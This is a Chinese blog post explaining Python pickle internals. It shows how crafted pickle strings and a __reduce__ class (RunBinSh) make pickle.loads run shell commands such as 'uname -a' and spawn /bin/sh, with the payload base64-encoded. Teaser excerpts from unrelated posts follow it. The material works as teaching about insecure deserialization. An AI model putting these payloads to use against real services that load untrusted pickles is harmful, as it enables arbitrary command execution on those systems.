python pickle 工作原理

pickle

http://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_WP.pdf

https://blog.nelhage.com/2011/03/exploiting-pickle/

https://lincolnloop.com/blog/playing-pickle-security/

>>> import pickletools
>>> print pickletools.dis("cos\nsystem\n(S‘ls ~‘\ntR.")
    0: c    GLOBAL     ‘os system‘
   11: (    MARK
   12: S        STRING     ‘ls ~‘
   20: t        TUPLE      (MARK at 11)
   21: R    REDUCE
   22: .    STOP
highest protocol among opcodes = 0
None

>>> import cPickle
>>> cPickle.loads("cos\nsystem\n(S‘uname -a‘\ntR.")
Linux RCM-RSAS-V6-Dev 3.9.0-aurora #4 SMP PREEMPT Fri Jun 7 14:50:52 CST 2013 i686 Intel(R) Core(TM) i7-2600 CPU @ 3.40GHz GenuineIntel GNU/Linux
0

构造简单的执行语句,当然也可以通过类的__reduce__方法,也就是说在执行pickle反序列化的时候会用到__reduce__方法

import cPickle
import subprocess
import base64

class RunBinSh(object):
  def __reduce__(self):
    return (subprocess.Popen, ((‘/bin/sh‘,),))

print base64.b64encode(cPickle.dumps(RunBinSh()))

>>> class RunBinSh1(object):
...     def __reduce__(self):
...             return (subprocess.Popen, ((‘uname‘,),))
...
>>> print (cPickle.dumps(RunBinSh1()))
csubprocess
Popen
p1
((S‘uname‘
tp2
tp3
Rp4
.

>>> print cPickle.loads((cPickle.dumps(RunBinSh1())))
<subprocess.Popen object at 0xb70cebac>
>>> Linux

这样就能简单构造loads语句了

时间: 2024-10-12 23:31:45

python pickle 工作原理的相关文章

【Todo】Python的工作原理

参考这篇: http://python.jobbole.com/86086/?from=timeline&isappinstalled=1&nsukey=MWQG%2B7OI4FvdQWJFFqcknKLNQB6KCvaInsGYZQx2PTPdsy%2BYz%2FZvNGKi%2F1Kov%2FTk0P4N22Yq3C4U34br94xdrLB1faIfeUJS04b%2B55NzJdPjSrixo2l39E4ZT7V2Sai8tHU9rutJH35%2BGA0ZykqIFLnjUTFy

Python 装饰器工作原理解析

#!/usr/bin/env python #coding:utf-8 """ 装饰器实例拆解 """ def login00(func):     print('00请通过验证用户!')     return func def tv00(name):     print('00你的用户是:%s' %name) # 装饰器的精简工作原理解释: tv = login00(tv00) # 返回tv函数的对象,赋值给tv tv('yh00') # 调用

《Python学习之路 -- Python基础之迭代器及for循环工作原理》

提到迭代器不得不说迭代器协议,迭代器协议是指:对象必须提供一个__next__()方法,执行该方法要么返回迭代中的下一项,要么就抛出一个StopIteration异常(相当于报错的意思)以终止迭代.然而遵循这个协议的对象就称为可迭代对象,又称为迭代器.在Python中,for循环操作的对象就是可迭代对象.说到这里可能会引起一些误会,原因就是我们都知道for循环可以直接遍历列表.元组或字符串等等集合,但是这些数据类型并没有上面提到的__next__()方法,也就是说这些数据类型根本就不遵循迭代器协

python中的函数、生成器的工作原理

1.python中函数的工作原理 def foo(): bar() def bar(): pass python的解释器,也就是python.exe(c编写)会用PyEval_EvalFramEx(c函数)运行foo()函数 首先会创建一个栈帧(stack Frame),在栈帧对象的上下文里面去运行这个字节码. import dis print(dis.dis(foo)) #打印字节码 可以尝试着去打印foo的字节码: 关于字节码的解释: LOAD_GLOBAL:首先导入bar这个函数 CALL

[转]python pickle模块

持久性就是指保持对象,甚至在多次执行同一程序之间也保持对象.通过本文,您会对 Python对象的各种持久性机制(从关系数据库到 Python 的 pickle以及其它机制)有一个总体认识.另外,还会让您更深一步地了解Python 的对象序列化能力. 什么是持久性? 持久性的基本思想很简单.假定有一个 Python 程序,它可能是一个管理日常待办事项的程序,您希望在多次执行这个程序之间可以保存应用程序对象(待办事项).换句话说,您希望将对象存储在磁盘上,便于以后检索.这就是持久性.要达到这个目的,

PHP和Fastcgi/php-fpm的工作原理-理论部分 不涉及实验

标题:PHP概述笔者:郑彦生时间:2014-05-16--------------- ---|谢谢马哥教育|--- 祝马哥的事业一帆风顺. MIME,HTTP,HTML MIME:N能够让http传送非文本信息:如mp3http:只能解析html的文档,对于多媒体mp3等,浏览器需要安装插件 或者 web浏览器能够调与之匹配的web程序进行解码注意:浏览器本身不能播放音乐,要么有自带的插件,要么主机上其它的程序可以播放音乐,而浏览器可以调用这个程序来执行播放音乐服务器发过来的一般都是静态的文本

python模块导入原理

转自:http://blog.csdn.net/u012422440/article/details/41791433 今日在自学Python,借此机会,正好重新开始写博文,既可以巩固python的知识,也可顺便提高一下文笔. 一.python模块基础 言归正传,Python的模块是python语言中代码复用的最高级别,也是系统命名空间的的划分标准,也是供顶层文件(就是包含程序主要控制流程的部分)调用的工具库文件.实现模型其实很简单,任何一个python文件都可以当做模型通过import进行导入

详细解读神经网络十大误解,再也不会弄错它的工作原理

来源:http://www.cstor.cn/textdetail_10544.html_biz=MjM5OTA1MDUyMA==&mid=407358558&idx=2&sn=b21877f23bf4063fa311185009c1f0b7&scene=0#wechat_redirect1462674382044 神经网络是机器学习算法中最流行和最强大的一类.但在作者看来,因为人们对神经网络工作原理存在误解,导致网络设计也很糟糕.所以这篇文章就对其中一些误解进行了讨论.

Android系统Recovery工作原理之使用update.zip升级过程分析(一)

通过分析update.zip包在具体Android系统升级的过程,来理解Android系统中Recovery模式服务的工作原理.我们先从update.zip包的制作开始,然后是Android系统的启动模式分析,Recovery工作原理,如何从我们上层开始选择system update到重启到Recovery服务,以及在Recovery服务中具体怎样处理update.zip包升级的,我们的安装脚本updater-script怎样被解析并执行的等一系列问题.分析过程中所用的Android源码是gin